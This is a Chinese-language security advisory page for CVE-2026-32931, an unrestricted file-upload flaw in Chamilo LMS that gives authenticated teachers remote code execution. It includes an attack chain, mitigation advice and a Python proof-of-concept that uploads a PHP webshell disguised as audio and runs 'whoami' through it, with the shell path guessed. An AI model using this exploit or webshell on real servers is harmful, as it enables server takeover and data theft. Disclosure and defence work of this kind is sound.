IPBUF安全漏洞报告
English
CVE-2026-32931 CVSS 7.5 高危

CVE-2026-32931 Chamilo LMS 远程代码执行漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-32931
漏洞类型
远程代码执行
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

RCE文件上传ChamiloWebshellCVE-2026-32931

漏洞概述

Chamilo LMS是一款学习管理系统。在1.11.38和2.0.0-RC.3之前的版本中,练习声音上传功能存在不受限制的文件上传漏洞。经过身份认证的教师可以通过伪造Content-Type头部为audio/mpeg,上传保留原.php扩展名的恶意文件。该文件被放置在Web可访问目录中,导致攻击者能够以Web服务器用户身份执行任意代码,从而控制服务器。

技术细节

该漏洞的核心在于Chamilo LMS处理练习模块音频文件上传时的逻辑缺陷。系统仅依赖HTTP请求头中的Content-Type字段来判断文件类型,未结合文件扩展名白名单或文件内容(Magic Bytes)进行双重验证。攻击者利用经过身份认证的教师权限,构造包含恶意PHP代码的文件(如webshell),将文件名保留为.php后缀,但在上传包中将Content-Type伪装为audio/mpeg。服务器错误地接收并保存了该文件,且未对其进行重命名或移动到非Web目录。由于文件保留了可执行的.php后缀且位于Web根目录下,攻击者只需通过HTTP请求直接访问该文件,即可触发服务器端解析执行PHP代码,从而获得服务器控制权。此时攻击者身份通常为Web服务器运行用户(如www-data),可进一步渗透内网或窃取数据。

攻击链分析

STEP 1
侦察
识别目标系统为Chamilo LMS,并确认版本低于1.11.38或2.0.0-RC.3。
STEP 2
初始访问
利用获取的教师账号凭证登录系统(需低权限认证)。
STEP 3
漏洞利用
访问练习模块的声音上传功能,构造包含PHP代码的文件,将HTTP Content-Type设置为audio/mpeg进行上传。
STEP 4
执行代码
访问上传后的PHP文件URL,Web服务器解析执行恶意代码,获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "http://victim-chamilo.com" login_url = f"{target_host}/main/login/user.php" upload_url = f"{target_host}/main/exercise/exercise_submit.php" # Attacker credentials (Low privilege: Teacher) username = "teacher" password = "password" # PHP Webshell content php_shell = "<?php system($_GET['cmd']); ?>" # 1. Establish Session session = requests.Session() payload = {'login': username, 'password': password} session.post(login_url, data=payload) # 2. Exploit: Upload PHP shell disguised as audio # The key is setting the Content-Type to 'audio/mpeg' while keeping .php extension files = { 'file': ('exploit.php', php_shell, 'audio/mpeg') } data = { 'exerciseId': '1', # Arbitrary existing exercise ID 'questionId': '1' } response = session.post(upload_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") # Note: The actual path needs to be determined from the response or guessed based on Chamilo structure # e.g. /app/courses/DOCUMENT/document/exploit.php shell_url = f"{target_host}/courses/DOCUMENT/document/exploit.php" # 3. Trigger RCE cmd_response = session.get(f"{shell_url}?cmd=whoami") print(f"[+] RCE Output: {cmd_response.text}") else: print("[-] Upload failed.")

影响范围

Chamilo LMS < 1.11.38
Chamilo LMS < 2.0.0-RC.3

防御指南

临时缓解措施
若无法立即升级,建议通过Web服务器配置规则(如Apache的.htaccess或Nginx配置),明确禁止在用户上传目录(如courses/目录)下解析和执行PHP、JSP等脚本文件。此外,应严格限制教师账号的上传权限,并对已上传的文件进行安全审计。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表